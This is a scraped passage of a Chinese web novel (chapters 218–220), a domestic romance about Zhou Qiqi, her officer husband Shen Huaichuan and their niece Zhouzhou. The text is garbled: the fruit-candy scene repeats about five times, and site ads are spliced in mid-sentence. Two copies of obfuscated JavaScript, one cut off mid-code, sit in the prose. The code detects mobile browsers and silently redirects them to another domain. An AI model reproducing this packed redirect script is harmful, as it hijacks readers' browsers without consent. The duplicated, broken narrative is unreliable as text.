“得反正有人吃就行。柒柒快动筷子这红烧鱼块是国强又一道拿手菜你不是最爱吃鱼了吗快吃!不然凉了腥气!” 周柒柒笑着拿起筷子也不客气了。 饭桌上李萍的嘴就没停过一会儿抱怨张国强送菜太勤快给她吃胖了一会儿又夸菜确实好吃。 赵大梅只闷头吃饭偶尔被李萍打趣得狠了才红着脸嗔一句。 赵大梅吃得快第一个放下碗起身去了档口后面。 不一会儿抱出来个方方正正的原木色画框边缘打磨得光滑四角还用简单的榫卯结构加固看着挺像样。 “柒柒姐给弄好了。” 这个就是周柒柒说的“正事儿”了。 卓光明明天生日,舟舟亲手画了一幅画当礼物,周柒柒想着得正式点,就让赵大梅公公帮着给做了个画框。 赵大梅把画框递给周柒柒,有点不好意思, “我公公说你给的木料好,他手艺粗,让你别嫌弃。” 周柒柒接过来,仔细看了看。 画框大小正合适舟舟那幅充满童趣的画,朴素的木色反而衬得画里的色彩更鲜亮。 和画一样,都是最原始,最童真的美。 “这还粗?做得挺好!大梅,替我谢谢你公公,回头我再谢他!” 她满意地摩挲着光滑的木框边缘。 取了画框,周柒柒又跟李萍赵大梅说了几句闲话,便告辞出来。 跨上车,车把上挂着打包的菜和画框,她又奔了市里新开的那片菜市场。 还没到跟前,就听见人声嘈杂。 新菜市场位置好,摊位整齐,虽然过了早高峰,但中午买菜做饭的人也不少。 周柒柒推着车挤进去,好不容易在靠里的位置找到了邓翠香的摊位。 摊子前还围着两三个人挑拣着酱菜。 邓翠香忙得额头冒汗,手脚麻利地推销、收钱、找零。 等那波人散了,她才抹了把汗,看见周柒柒,眼睛一亮:“柒柒?你咋来了?” “路过,看看你。” 周柒柒把自行车支好,环顾了下周围,“人可真不少啊。” “这算啥!” 邓翠香抓起脖子上的毛巾又擦了擦汗, “一大早那才叫挤破头!我这一个人,真有点招呼不过来。” 她说着,弯腰从摊位底下摸出个干硬的馒头和一罐酱菜。 周柒柒皱眉:“你就吃这个?这哪行!” 她赶紧把车把上挂着的饭盒拿下来, “给,我刚买的,还热乎呢,赶紧吃!我帮你看着摊。” 邓翠香一看饭盒里油汪汪的红烧肉和翠绿的青菜,嘴里分泌着口水,嘴上却推辞: “哎哟,我吃馒头就行,你自己留着吃……” “让你吃就吃!” 周柒柒不由分说把饭盒塞她手里,又把装米饭的饭盒也递过去, “赶紧的,趁热!你这辛辛苦苦挣点钱,都贴补孩子了,自己就啃馒头咸菜,图啥?身体熬垮了,孩子就能念你的好了?孩子有孩子的路,你得把自己顾好了! 邓翠香之所以出来摆摊,就是因为家里两个儿子,尤其是大儿子向海,天资好,上数学班,贵得很。 邓翠香捧着温热的饭盒,看着里面实在的肉菜,眼眶有点热。 她不再推辞,靠着摊位后面的墙根蹲下,打开饭盒就大口吃起来。 “唔…真香…比咸菜好吃多了… 她含糊不清地说着,吃得又快又急。 “知道好吃了吧? 周柒柒一边留意着摊位,一边说, “以后别这么对付,早上出门带点热乎的,哪怕带俩煮鸡蛋呢! “嗯嗯,知道了柒柒, 邓翠香咽下嘴里的饭,用力点头, “听你的!以后不这么糊弄了,挣了钱也得花点在自己身上! 看着邓翠香吃得香,周柒柒又帮着招呼了几个零散顾客。 等邓翠香吃完,收拾好饭盒,两人又聊了几句摊位的生意,周柒柒才蹬上车离开。 不过她还不得闲,又拐去第一服装厂的生产线转了一圈,处理了几件积压的小问题。 等她蹬着自行车慢悠悠往家骑时,已经五点钟了。 周柒柒把画框放好,去隔壁把朱莹莹叫过来。 一边淘米准备做饭,一边压低声音,把上午那场惊心动魄的纪委风波,掐头去尾地跟朱莹莹讲了。 朱莹莹听得眼睛瞪圆,拳头捏紧,气得直跺脚:“我的天爷!林瑶那个黑心肝的!还有周主任她…… 正说着呢,虚掩的院门“吱呀 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)一声被推开了。 两人同时扭头,只见风尘仆仆的沈淮川大步走了进来,手里还拎着个鼓囊囊的网兜,里面是几个铝饭盒。 “今天怎么这么早回来? 周柒柒放下手里的盆,迎了上去。 沈淮川把网兜递给她,目光在她脸上快速扫过: “嗯,今天事少,结束得早。 他声音有点哑,带着点不易察觉的疲惫, “让秦磊跑了一趟军区饭点,买了你爱吃的酸菜鱼,还有舟舟的糖醋里 脊。” 朱莹莹一看这架势,立刻识趣地摆摆手,笑嘻嘻地溜了: “柒柒,那我先回去了啊!回头再聊!” 屋里只剩下夫妻俩。 周柒柒接过还温热的饭盒,没急着打开,反而踮起脚,伸手轻轻拂过沈淮川眼下淡淡的青影,佯怒道: “沈淮川,老实交代!‘事少’?我看是中午没歇着,赶工了吧?” 沈淮川被她戳穿,也不狡辩,顺势握住她微凉的手,放在自己带着汗气的军装领口处,低声道: “知道你上午受了惊吓,又跑了一天,累。报告…是赶着写完了。” 他眼底是藏不住的心疼。 “那你吃饭了吗?”周柒柒追问,眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了,写报告的时候顺手啃了个包子。” “沈淮川!” 周柒柒真有点生气了,抽回手, “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又.” 话音未落,沈淮川高大的身躯忽然晃了一下,眉头紧蹙,抬手扶住了额角,整个人像是要往下倒。 “淮川!” 周柒柒吓一跳,连忙扑过去扶住他胳膊,“你怎么了?” 就在她靠近的瞬间,沈淮川飞快地侧过头,温热的唇在她光洁的额角轻轻印了一下,带着点得逞的笑意:“别气了…” “好哇你!学会骗人了!” 周柒柒又气又羞,捶了他胳膊一下,“是谁说的,永远不骗我?” 沈淮川就势靠在她身上,声音确实带上了点虚弱的沙哑:“没骗你…这会儿,真有点晕…” 周柒柒心里一紧,看他脸色确实有点发白,不像装的。 “是不是低血糖了?让你不好好吃饭!” 她急忙扶他到沙发上坐下,“等着,我去拿糖!” 她飞快地从零食柜子里翻出两颗水果糖,剥开一颗,塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开,沈淮川闭着眼缓了一会儿,那股眩晕感才慢慢退去。 “好点没?” 周柒柒紧张地看着他,又把另一颗糖递过去。 “不用了,一颗就够了。” 沈淮川摇摇头,没接糖,反而抬眼深深地看着她,眼神复杂,带着点恍然大悟的苦涩笑意: “…我现在知道,你为什么总说我不爱吃水果糖了。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 脊。” 朱莹莹一看这架势立刻识趣地摆摆手笑嘻嘻地溜了: “柒柒那我先回去了啊!回头再聊!” 屋里只剩下夫妻俩。 周柒柒接过还温热的饭盒 “沈淮川老实交代!‘事少’?我看是中午没歇着赶工了吧?” 沈淮川被她戳穿也不狡辩顺势握住她微凉的手放在自己带着汗气的军装领口处低声道: “知道你上午受了惊吓又跑了一天累。报告…是赶着写完了。” 他眼底是藏不住的心疼。 “那你吃饭了吗?”周柒柒追问眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了写报告的时候顺手啃了个包子。” “沈淮川!” 周柒柒真有点生气了抽回手 “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又.” 话音未落沈淮川高大的身躯忽然晃了一下眉头紧蹙抬手扶住了额角整个人像是要往下倒。 “淮川!” 周柒柒吓一跳连忙扑过去扶住他胳膊“你怎么了?” 就在她靠近的瞬间沈淮川飞快地侧过头温热的唇在她光洁的额角轻轻印了一下带着点得逞的笑意:“别气了…” “好哇你!学会骗人了!” 周柒柒又气又羞捶了他胳膊一下“是谁说的永远不骗我?” 沈淮川就势靠在她身上声音确实带上了点虚弱的沙哑:“没骗你…这会儿真有点晕…” 周柒柒心里一紧看他脸色确实有点发白不像装的。 “是不是低血糖了?让你不好好吃饭!” 她急忙扶他到沙发上坐下“等着我去拿糖!” 她飞快地从零食柜子里翻出两颗水果糖剥开一颗塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开沈淮川闭着眼缓了一会儿那股眩晕感才慢慢退去。 “好点没?” 周柒柒紧张地看着他又把另一颗糖递过去。 “不用了一颗就够了。” 沈淮川摇摇头没接糖反而抬眼深深地看着她眼神复杂带着点恍然大悟的苦涩笑意: “…我现在知道你为什么总说我不爱吃水果糖了。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 脊。” 朱莹莹一看这架势,立刻识趣地摆摆手,笑嘻嘻地溜了: “柒柒,那我先回去了啊!回头再聊!” 屋里只剩下夫妻俩。 周柒柒接过还温热的饭盒,没急着打开,反而踮起脚,伸手轻轻拂过沈淮川眼下淡淡的青影,佯怒道: “沈淮川,老实交代!‘事少’?我看是中午没歇着,赶工了吧?” 沈淮川被她戳穿,也不狡辩,顺势握住她微凉的手,放在自己带着汗气的军装领口处,低声道: “知道你上午受了惊吓,又跑了一天,累。报告…是赶着写完了。” 他眼底是藏不住的心疼。 “那你吃饭了吗?”周柒柒追问,眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了,写报告的时候顺手啃了个包子。” “沈淮川!” 周柒柒真有点生气了,抽回手, “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又.” 话音未落,沈淮川高大的身躯忽然晃了一下,眉头紧蹙,抬手扶住了额角,整个人像是要往下倒。 “淮川!” 周柒柒吓一跳,连忙扑过去扶住他胳膊,“你怎么了?” 就在她靠近的瞬间,沈淮川飞快地侧过头,温热的唇在她光洁的额角轻轻印了一下,带着点得逞的笑意:“别气了…” “好哇你!学会骗人了!” 周柒柒又气又羞,捶了他胳膊一下,“是谁说的,永远不骗我?” 沈淮川就势靠在她身上,声音确实带上了点虚弱的沙哑:“没骗你…这会儿,真有点晕…” 周柒柒心里一紧,看他脸色确实有点发白,不像装的。 “是不是低血糖了?让你不好好吃饭!” 她急忙扶他到沙发上坐下,“等着,我去拿糖!” 她飞快地从零食柜子里翻出两颗水果糖,剥开一颗,塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开,沈淮川闭着眼缓了一会儿,那股眩晕感才慢慢退去。 “好点没?” 周柒柒紧张地看着他,又把另一颗糖递过去。 “不用了,一颗就够了。” 沈淮川摇摇头,没接糖,反而抬眼深深地看着她,眼神复杂,带着点恍然大悟的苦涩笑意: 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “…我现在知道,你为什么总说我不爱吃水果糖了。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 脊。 朱莹莹一看这架势,立刻识趣地摆摆手,笑嘻嘻地溜了: “柒柒,那我先回去了啊!回头再聊! 屋里只剩下夫妻俩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029150|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周柒柒接过还温热的饭盒,没急着打开,反而踮起脚,伸手轻轻拂过沈淮川眼下淡淡的青影,佯怒道: “沈淮川,老实交代!‘事少’?我看是中午没歇着,赶工了吧? 沈淮川被她戳穿,也不狡辩,顺势握住她微凉的手,放在自己带着汗气的军装领口处,低声道: “知道你上午受了惊吓,又跑了一天,累。报告…是赶着写完了。 他眼底是藏不住的心疼。 “那你吃饭了吗?周柒柒追问,眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了,写报告的时候顺手啃了个包子。 “沈淮川! 周柒柒真有点生气了,抽回手, “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又. 话音未落,沈淮川高大的身躯忽然晃了一下,眉头紧蹙,抬手扶住了额角,整个人像是要往下倒。 “淮川! 周柒柒吓一跳,连忙扑过去扶住他胳膊,“你怎么了? 就在她靠近的瞬间,沈淮川飞快地侧过头,温热的唇在她光洁的额角轻轻印了一下,带着点得逞的笑意:“别气了… “好哇你!学会骗人了! 周柒柒又气又羞,捶了他胳膊一下,“是谁说的,永远不骗我? 沈淮川就势靠在她身上,声音确实带上了点虚弱的沙哑:“没骗你…这会儿,真有点晕… 周柒柒心里一紧,看他脸色确实有点发白,不像装的。 “是不是低血糖了?让你不好好吃饭! 她急忙扶他到沙发上坐下,“等着,我去拿糖! 她飞快地从零食柜子里翻出两颗水果糖,剥开一颗,塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开,沈淮川闭着眼缓了一会儿,那股眩晕感才慢慢退去。 “好点没? 周柒柒紧张地看着他,又把另一颗糖递过去。 “不用了,一颗就够了。 沈淮川摇摇头,没接糖,反而抬眼深深地看着她,眼神复杂,带着点恍然大悟的苦涩笑意: “…我现在知道,你为什么总说我不爱吃水果糖了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 脊。 朱莹莹一看这架势,立刻识趣地摆摆手,笑嘻嘻地溜了: “柒柒,那我先回去了啊!回头再聊! 屋里只剩下夫妻俩。 周柒柒接过还温热的饭盒,没急着打开,反而踮起脚,伸手轻轻拂过沈淮川眼下淡淡的青影,佯怒道: “沈淮川,老实交代!‘事少’?我看是中午没歇着,赶工了吧? 沈淮川被她戳穿,也不狡辩,顺势握住她微凉的手,放在自己带着汗气的军装领口处,低声道: “知道你上午受了惊吓,又跑了一天,累。报告…是赶着写完了。 他眼底是藏不住的心疼。 “那你吃饭了吗?周柒柒追问,眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了,写报告的时候顺手啃了个包子。 “沈淮川! 周柒柒真有点生气了,抽回手, “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又. 话音未落,沈淮川高大的身躯忽然晃了一下,眉头紧蹙,抬手扶住了额角,整个人像是要往下倒。 “淮川! 周柒柒吓一跳,连忙扑过去扶住他胳膊,“你怎么了? 就在她靠近的瞬间,沈淮川飞快地侧过头,温热的唇在她光洁的额角轻轻印了一下,带着点得逞的笑意:“别气了… “好哇你!学会骗人了! 周柒柒又气又羞,捶了他胳膊一下,“是谁说的,永远不骗我? 沈淮川就势靠在她身上,声音确实带上了点虚弱的沙哑:“没骗你…这会儿,真有点晕… 周柒柒心里一紧,看他脸色确实有点发白,不像装的。 “是不是低血糖了?让你不好好吃饭! 她急忙扶他到沙发上坐下,“等着,我去拿糖! 她飞快地从零食柜子里翻出两颗水果糖,剥开一颗,塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开,沈淮川闭着眼缓了一会儿,那股眩晕感才慢慢退去。 “好点没? 周柒柒紧张地看着他,又把另一颗糖递过去。 “不用了,一颗就够了。 沈淮川摇摇头,没接糖,反而抬眼深深地看着她,眼神复杂,带着点恍然大悟的苦涩笑意: “…我现在知道,你为什么总说我不爱吃水果糖了。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 脊。” 朱莹莹一看这架势,立刻识趣地摆摆手,笑嘻嘻地溜了: “柒柒,那我先回去了啊!回头再聊!” 屋里只剩下夫妻俩。 周柒柒接过还温热的饭盒,没急着打开,反而踮起脚,伸手轻轻拂过沈淮川眼下淡淡的青影,佯怒道: “沈淮川,老实交代!‘事少’?我看是中午没歇着,赶工了吧?” 沈淮川被她戳穿,也不狡辩,顺势握住她微凉的手,放在自己带着汗气的军装领口处,低声道: “知道你上午受了惊吓,又跑了一天,累。报告…是赶着写完了。” 他眼底是藏不住的心疼。 “那你吃饭了吗?”周柒柒追问,眉头皱得更紧。 沈淮川眼神飘忽了一下:“…吃了,写报告的时候顺手啃了个包子。” “沈淮川!” 周柒柒真有点生气了,抽回手, “你!哼!不理你了!不是答应过我要好好吃饭吗?之前的伤都还没完全好呢!这又.” 话音未落,沈淮川高大的身躯忽然晃了一下,眉头紧蹙,抬手扶住了额角,整个人像是要往下倒。 “淮川!” 周柒柒吓一跳,连忙扑过去扶住他胳膊,“你怎么了?” 就在她靠近的瞬间,沈淮川飞快地侧过头,温热的唇在她光洁的额角轻轻印了一下,带着点得逞的笑意:“别气了…” “好哇你!学会骗人了!” 周柒柒又气又羞,捶了他胳膊一下,“是谁说的,永远不骗我?” 沈淮川就势靠在她身上,声音确实带上了点虚弱的沙哑:“没骗你…这会儿,真有点晕…” 周柒柒心里一紧,看他脸色确实有点发白,不像装的。 “是不是低血糖了?让你不好好吃饭!” 她急忙扶他到沙发上坐下,“等着,我去拿糖!” 她飞快地从零食柜子里翻出两颗水果糖,剥开一颗,塞进沈淮川嘴里。 清凉甜腻的味道在舌尖化开,沈淮川闭着眼缓了一会儿,那股眩晕感才慢慢退去。 “好点没?” 周柒柒紧张地看着他,又把另一颗糖递过去。 “不用了,一颗就够了。” 沈淮川摇摇头,没接糖,反而抬眼深深地看着她,眼神复杂,带着点恍然大悟的苦涩笑意: “…我现在知道,你为什么总说我不爱吃水果糖了。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第219章 我说啥也得认个干妈当当! 两人不约而同想起上午在军区纪委会议室时。 那会儿林瑶为了证明沈淮川对她有多上心,特意扯着嗓子举了水果糖和酸梅粉的例子。 梗着脖子说沈淮川小时候明明自己不爱吃甜的,偏要攒着零花钱买一大包给她,说得跟真事儿似的。 沈淮川忽然往周柒柒跟前凑了凑,温热的呼吸扫过她耳廓,低低笑出了声。 “原来那个时候在医院你说我不爱吃水果糖,是在吃醋啊?” 周柒柒被他看得脸颊腾得冒了热,慌忙别开眼,睫毛颤巍巍的,嘴里嘟囔着: “.那.那不是事实么。” 语气里藏着点被戳中心事的羞赧,偏又梗着股理直气壮的劲儿,像只不肯服软的小猫。 “不是你想的那样,其实.” 沈淮川刚想说什么,院门外传来姜向阳清脆的喊声。 “周阿姨,我把舟舟送回来啦!有没有奖励啊?” 两人对视一眼,默契地收住了话头。 周柒柒赶紧转身往屋里跑,抓了一把水果糖揣在兜里就往外迎。 姜向阳这皮猴儿又不知道在哪儿皮呢,裤子膝盖的地方又磨破了。 周柒柒把他叫进来,找出针线筐,拈起块颜色相近的碎布头,三两下就给他简单打了个补丁,这才拍着他后背放他跑了。 她这边忙着的时候,沈淮川已利落地把饭菜摆上了桌。 晚饭是军区饭点打包来的菜,大师傅烧的菜味道确实好。 全都是周柒柒和舟舟爱吃的。 吃完饭,周柒柒把裱好的画框拿出来给舟舟看: “瞧瞧,你送给光明哥哥的画,裱起来是不是更漂亮了?” 原木色的画框衬着舟舟用蜡笔画的星空,歪歪扭扭的小人儿举着星星,稚拙里透着股子灵气,确实比原先好看多了。 舟舟白皙的小脸蛋上立刻漾开惊喜,眼睛瞪得溜圆,小嘴巴张成个O形,无声地比着口型: “光明哥哥会喜欢吗?” “他肯定喜欢!” 周柒柒笑着摸摸她的头。 最初她想着卓家条件好,要不要买个贵重礼物。 还是沈淮川说,这是孩子间的心意,按舟舟的想法来最好。 现在看来这份带着童真的礼物反而最珍贵。 沈淮川洗完碗筷以后就坐到了书桌前摊开文件。 虽然提前回来了但年底总结报告还有尾巴要收灯光下他眉头微蹙神情专注。 周柒柒带着舟舟去操场跑步。 没了许树和林瑶那一家子搅和傍晚的家属区操场格外清爽。 晚风拂面她和朱莹莹、邓翠香几个跑了几圈 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节)又凑在一起说了会儿闲话气氛轻松愉快。 姜向阳在舟舟身边上蹿下跳追跑打闹笑声传得老远。 周柒柒不知不觉也跟着多跑了两圈浑身舒畅。 操场上的风带着傍晚的凉意吹散了白天的惊心动魄。 几个女人绕着跑道慢悠悠地踱着步话题自然绕不开上午那场闹剧。 邓翠香性子最急先开了腔巴掌拍得啪啪响: “龟儿子的许树和林瑶心肠黑得跟锅底灰一样!就该把他们锤扁了丢出去喂狗!还有那个许枣跟她哥一路货色眼睛长在头顶上活该回村挖泥巴!” 朱莹莹挨着周柒柒走声音细细柔柔的带着后怕: “太吓人了…要不是柒柒你留了心眼这盆脏水泼下来跳进黄河都洗不清…” 她说着顿了顿眉头又皱起来担心道“就是不知道最后会是个啥结果?” 周柒柒轻轻拍了拍朱莹莹的肩膀又看向邓翠香: “这事儿复杂着呢牵扯的人多来回调查取证没个十天半月定不下来。许家那三块料肯定跑不掉尤其是许树破坏军婚这罪名够他喝一壶。许枣嘛估计得被强制遣返原籍回村里待着去。” 她顿了顿语气里带点现实的考量: “就是林瑶那边…她爹妈是医生有头有脸听说她哥也在机关里做事。再加上她现在怀着身子…保不齐她家会想办法周旋。最后是个什么结果还真不好说。” 朱莹莹忽然想起什么侧头看周柒柒: “柒柒那张医院的处置单…原来那天你在医院就是撞见林瑶和许树了?怪不得你突然说有事急匆匆就走了。” “可不是嘛!” 周柒柒笑起来眼里带着感激 “要不是陪你备孕我根本不会 留意到林瑶那副干呕的样子不对劲,没陪你去医院检查,我哪儿能那么巧碰上?就是多了这个心眼,才想着要弄明白,不然啊…” 她捏了捏朱莹莹的手,语气真诚又带着点俏皮: “这次真得好好谢谢你!不对,是谢谢你未来的小宝宝!等这小家伙来了,我说啥也得认个干妈当当!” 朱莹莹被她打趣得满脸通红,轻轻捶了周柒柒一下: “哎呀!柒柒!还没影儿的事儿呢,你净瞎说…” “谁瞎说了?” 周柒柒不依,拉着她停下脚步,指着地上被路灯拉得长长的影子, “你看你看,这地上铺的,不全都是影子吗?哪儿就没影儿了?莹莹,不许说丧气话!该来的,挡都挡不住,你还这么年轻,好日子在后头呢!” 邓翠香也在一旁帮腔:“就是就是!柒柒说得对!日子有盼头着呢!” 朱莹莹看着地上自己和好友们晃动交叠的影子,又听着她们暖心的话,心头那点忐忑被暖意驱散,羞涩地抿嘴笑了,用力点点头,眼里重新亮起了光。 舟舟安静地跟在周柒柒身边,看着大人们说话,又低头看看地上妈妈和阿姨们长长的影子。 晚风吹动她柔软的额发,小丫头没出声,嘴角却悄悄弯起一个浅浅的弧度。 回到家,院子里静悄悄的。 厨房灶上,烧水的大锅盖边沿正“噗噗”地冒着白汽。 沈淮川已经把洗澡水烧好了。 周柒柒去洗澡间试了试水温,准备好洗澡要用的东西,才转身去敲舟舟的房门: “舟舟,水放好了,来洗澡啦!” 屋里传来一点轻微的窸窣声。 周柒柒推门进去,看见舟舟正趴在书桌前,小手慌乱地把桌上摊开的画纸往旁边一本书底下塞,小脸绷得有点紧。 这小家伙,又不知道在给谁画画呢,反正就是没给她画过。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035153|176330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她心里头泛起一丝丝酸溜溜的感觉,不过也就一瞬,很快就散了。 只当没看见她的小动作,神色如常地走过去,揉了揉她软软的头发: “今天和向阳跑疯了,看这一头汗。明天要去光明哥哥家过生日,咱们今天得洗得香喷喷的。婶婶帮你洗?” 舟舟抬起头,看到 婶婶温柔平静的眼神,紧绷的小肩膀松了下来,点点头,主动牵住了周柒柒的手。 几个月相处下来,俩人早已有了默契,很快就洗完了。 洗得干干净净、浑身冒着热气的舟舟被周柒柒用大毛巾裹着抱回房间。 小女孩今天玩得确实累了,脑袋刚沾上枕头,眼皮就开始打架,没一会儿呼吸就变得绵长均匀。 周柒柒站在门口,借着窗外透进来的微光,看着舟舟熟睡的小脸。 三个多月前,刚见到舟舟时,她还是怯生生的,脸上没一点活气,像是对啥都提不起劲儿。 再看看现在,脸蛋睡得红扑扑的,眉宇舒展,连睡梦中嘴角都似乎带着一点点放松的笑意。 周柒柒心里涌上一股暖流,轻轻替她掖好被角,又凝视了片刻,才悄无声息地退出了房间,轻轻带上了门,去洗澡了。 洗完澡浑身清爽,周柒柒擦着头发回了屋。 她又仔细拿出她和舟舟明天去卓家要穿的衣服,仔细抚平了挂在衣柜里。 收拾停当,喉咙里泛起一丝干渴,顺手拎起桌上的暖水瓶,晃了晃,轻飘飘的,空了。 她微微一怔。 平时沈淮川在家,这暖水瓶总被灌得满满当当,伸手就有热水喝。 习惯了他的妥帖,这空瓶倒让她有点不习惯地挑了挑眉。 不过,自己动手?那是不可能的。 家里有个顶天立地、家务全包的丈夫,她心安理得地享受着这份照料。 她趿拉着拖鞋走到浴室门口,隔着氤氲的水汽朝里喊了一嗓子: “淮川,暖瓶空了,待会儿洗完帮我弄点水来啊! 里面的水流声停了停,传来他低沉的应和:“知道了。 周柒柒放了心,转身回到书桌前坐下,摊开画了一半的春季设计草图,铅笔尖在纸上沙沙作响。 没过多久,卧室门响,沈淮川带着一身温热的水汽和淡淡的肥皂味走进来。 他手里提着暖瓶,不过手里还端着一个透明的玻璃杯,里面盛着大半杯深琥珀色的液体,还袅袅冒着点热气。 “渴了?先喝这个,温度刚好。 他把杯子递到周柒柒手边。 周柒柒放下笔,接过杯子。 周柒柒放下铅笔接过来,入手温温的,低头一瞅,那水颜色透亮,带着点棕红,不是白开水。 “这是什么? 她好奇地问,凑近闻了闻,一股酸甜的气息钻进鼻子。 啜了一小口,酸甜的滋味瞬间在舌尖化开,很爽口。 “冲的酸梅粉。 沈淮川在她旁边的凳子上坐下,拿起毛巾擦着还湿着的短发。 周柒柒眨了眨眼:“家里没买过这个啊,你哪儿弄来的? “下午回来路上,绕到厂里食堂,跟张师傅要了点。 沈淮川的声音透过毛巾传出来,闷闷的。 第220章 儿时记忆 “要这个干嘛?” 周柒柒又喝了一口抬眼看他嘴角噙着一丝促狭的笑意 “难不成你自己馋这个?小时候没喝够这都多大了还惦记着?” 她故意把调子拖得长长的尾音往上扬着。 “自己这么喜欢还巴巴地都给别人……看来沈淮川同志打小就是个会疼人的情种呢。” 她晃了晃杯子带着点娇嗔 “我可跟旁人不一样不爱喝这酸溜溜的玩意儿。” 说着真就把杯子往桌边一放 沈淮川放下毛巾赶紧凑近了些带着点无奈的笑意去揽她的肩: “不爱喝就不喝这不还拎了一壶温水进来嘛不过……” 他顿了顿声音认真了些 “柒柒我对这酸梅粉从来就没什么爱喝不爱喝的。” 周柒柒被他搂着没挣也没躲就那么靠着等他往下说。 “小时候之所以买那么多糖” 沈淮川的目光飘向窗外像是透过夜色瞧见了好些年前的光景 “大院里的男孩儿都爱攒花花绿绿的糖纸叠元宝、夹书本里看我也跟着买。买回来一堆自己又不爱吃糖齁得慌。可买多了我妈看见了肯定要说我浪费。 正好林瑶就住隔壁楼她家管得松她自己也馋糖我就把那些剥下来的、没漂亮糖纸的糖块一股脑塞给她了。省得我妈念叨也清空了我的‘库存’。” 周柒柒从鼻子里哼出一声下巴微微抬着: “那酸梅粉呢?总不会也是糖纸吧?” “这个就更冤枉了。” 沈淮川被她逗得笑出了声 “买酸梅粉主要是为了里面送的那种小塑料勺勺把儿顶上压着各种图案西游记的、三国演义的…… 我那时候迷孙悟空就想集个‘齐天大圣’的勺子可一包酸梅粉才送一个图案还是随机的我妈哪肯让我为个勺子买那么多酸梅粉堆家里?” 他想起童年那点小小的“算计”语气里带着点孩子气的狡黠: “没办法我就拿林瑶当幌子跟我妈说林瑶爱喝这个我买了给她送去。其实呢每一包我 都打开了,掏出里面的勺,才给她送过去。我记得那一个月,我买了快二三十包,才终于开出一个孙悟空的。 说到“孙悟空三个字时,他眼底漾开一丝纯粹的、属于久远过去的快乐光彩,整个人都显得柔和明亮起来, “那会儿真是高兴坏了,揣着那勺子跟揣了宝贝似的,在两个哥哥面前炫耀了好几天。 周柒柒安安静静地听着,看着他沉浸在回忆里那少有的、带着暖意的神情。 心里头那点小疙瘩,不知不觉就化了。 她伸出手,轻轻碰了碰他的胳膊:“真的?没骗我? 说是问句,尾音却轻轻扬着,明摆着是在顺着话茬让他多说点。 “当然是真的! 沈淮川像是被点燃了兴致,猛地站起身,“那勺子我还留着呢! 他快步走到床边,弯腰从床底下拖出一个蒙着薄灰的旧铁皮饼干盒。 盒子一看就有些年头了,边角都磨得发亮,印着的“牡丹牌 沈淮川小心翼翼地拨开侧面的铁搭扣,“咔哒一声轻响,盒盖弹开时扬起点细小的灰尘。 里面的东西码得整整齐齐,零碎物件都用小盒子、旧信封分门别类装着。 连信封边角都捋得平平整整。 他翻找了几下,很快就捏出个浅黄色的小塑料勺,转过身时,脸上带着点藏不住的得意,像揣着宝贝的孩子似的,把勺子往周柒柒眼前一递。 勺柄顶端,那个线条简单的孙悟空还举着金箍棒,虽说红颜料褪得发了白,金箍棒也淡成了浅黄。 但图案倒是清晰得很,看得出这些年被人精心收着,没磕没碰的,保存得相当完好。 那塑料勺子也因为年月久了,摸起来有些脆硬。 “喏,就这个。 周柒柒接过来,指尖轻轻摩挲着那个小小的齐天大圣,心里头软乎乎的。 她的目光落在敞开的铁皮盒里,除了这把勺子,还有厚厚一沓用皮筋捆好的彩色玻璃糖纸。 红的、绿的、金的,压得平平整整,在灯光下泛着旧时光的温润光泽。 底下还散落着几颗磨圆了边角的玻璃弹珠,一个掉了漆的铁皮小青蛙,还有几张边角微微卷起的黑白或泛黄的 照片。 周柒柒的目光停在了那些照片上。 大多是合影,背景不是旧式的四合院,就是影楼里带着花纹的布景。 照片里的沈淮川,从穿着开裆裤、流着口水的胖娃娃,到穿着海魂衫、板着张脸的小小少年,一步步长起来。 照片里总少不了两个比他高大的男孩,眉眼间与他有几分相似,笑容爽朗。 还有一对穿着老式军装、面容坚毅却透着温和的中年夫妇。 